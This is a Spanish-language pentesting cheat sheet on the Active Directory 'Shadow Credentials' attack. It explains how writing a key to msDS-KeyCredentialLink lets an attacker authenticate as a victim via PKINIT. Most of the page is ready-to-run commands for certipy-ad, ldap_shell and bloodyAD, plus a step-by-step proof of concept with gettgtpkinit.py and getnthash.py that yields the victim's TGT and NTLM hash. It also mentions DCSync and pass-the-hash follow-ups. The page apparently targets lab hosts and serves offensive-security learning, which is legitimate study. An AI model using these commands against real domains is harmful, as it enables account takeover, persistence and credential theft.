Shadow Credentials
Introduction
El ataque conocido como Shadow Credentials permite a un atacante obtener acceso persistente a una cuenta de Active Directory (usuario o máquina) sin conocer su contraseña ni su hash. Para lograrlo, se abusa del atributo poco conocido llamado msDS-KeyCredentialLink
, introducido con Windows Server 2016.
Este atributo permite almacenar claves públicas asociadas a una cuenta para autenticación mediante Kerberos PKINIT, un método que reemplaza el uso de contraseñas por criptografía asimétrica (clave pública/privada).
Si un atacante tiene permisos como WriteProperty
, GenericWrite
o GenericAll
sobre ese atributo en una cuenta objetivo, puede inyectar su propia clave pública. Luego, puede autenticarse como ese usuario usando PKINIT y su clave privada, consiguiendo un TGT válido sin necesidad de contraseñas ni tickets previos.
¿Por qué es peligroso?
No se requiere modificar la contraseña del objetivo.
La cuenta sigue funcionando normalmente, sin alertas visibles.
La clave inyectada puede pasar desapercibida si no se monitoriza
msDS-KeyCredentialLink
.Permite autenticarse silenciosamente y moverse lateralmente o escalar privilegios.
Requisitos clave
Un controlador de dominio con soporte PKINIT (Windows Server 2016 o superior).
Entorno con Active Directory Certificate Services (AD CS) o una CA interna.
Permisos para modificar el atributo
msDS-KeyCredentialLink
en una cuenta del dominio. (GenericAll, GenericWrite o AddKeyCredentialLink)
¿Qué logra el atacante?
Una vez que inyecta la clave pública en el atributo msDS-KeyCredentialLink
, el atacante puede:
Autenticarse como el objetivo mediante PKINIT, sin necesidad de conocer su contraseña ni su hash.
Obtener un Ticket Granting Ticket (TGT) válido para esa cuenta.
Realizar movimientos laterales o delegaciones utilizando técnicas como S4U2self o S4U2proxy.
Mantener persistencia incluso si el usuario cambia su contraseña.
Obtener el hash NTLM del objetivo si consigue acceso al PAC o si la cuenta comprometida tiene privilegios elevados.
Si la cuenta comprometida tiene permisos de replicación en el dominio, ejecutar un ataque DCSync para dumpear todos los hashes del dominio.
Utilizar esos hashes para realizar Pass-the-Hash u otras técnicas de post-explotación.
En esta sección documentaremos la teoría detrás de esta técnica, cómo identificar entornos vulnerables, cómo explotarla paso a paso con herramientas como pyWhisker
, Certipy
o PKINITtools
, bloodyAD
o ldap_shell
.
From Linux
certipy-ad
certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10
certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10
certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01
ldap_shell
Authentication on ldap_shell
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH
ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
Command to use
get_ntlm victim
Proof of Concept (PoC)
bloodyAD and PKINIT
Paso 1: Creación de las Shadow Credentials al usuario victim
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'
Una vez ejecutado la herramienta de bloodyAD
para añadir las Shadow Credentials al usuario, se nos proporcionará un comando a ejecutar a través de las herramientas de PKINIT.

Paso 2: Solicitud del ticket TGT después del Shadow Credentials
Ejecutaremos el comando proporcionado en el paso anterior para solicitar el TGT correspondiente al usuario el cual le hemos añadido las Shadow Credentials.
Nos quedaremos con el valor del TGT que se nos generará (.ccache
), ya que lo necesitaremos en el siguiente paso. Por otro lado, también necesitaremos el valor de la Key
que se nos proporciona que se encuentra marcada en rojo en el apartado INFO
.
python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>

Paso 3: Exportar en la sesión actual el ticket TGT
Exportaremos en la variable KRB5CCNAME
el ticket TGT que se nos ha generado en el paso anterior (.ccache
) y verificaremos que es un ticket válido a través de klist
.
export KRB5CCNAME=$(pwd)/ticket.ccache
klist

Paso 4: Recuperar el hash NTLM del usuario
El último paso deberemos de utilizar la herramienta getnthash.py
de PKINIT en la cual necesitaremos proporcionar la Key que se nos proporciona en el paso 2, haber importado el ticket TGT en nuestra sesión e indicar el dominio y el usuario victim
.
python3 getnthash.py -key <key_step_2> domain.htb/victim

Proof of Concept (PoC)
pyWhisker and PKINIT
References
Última actualización
¿Te fue útil?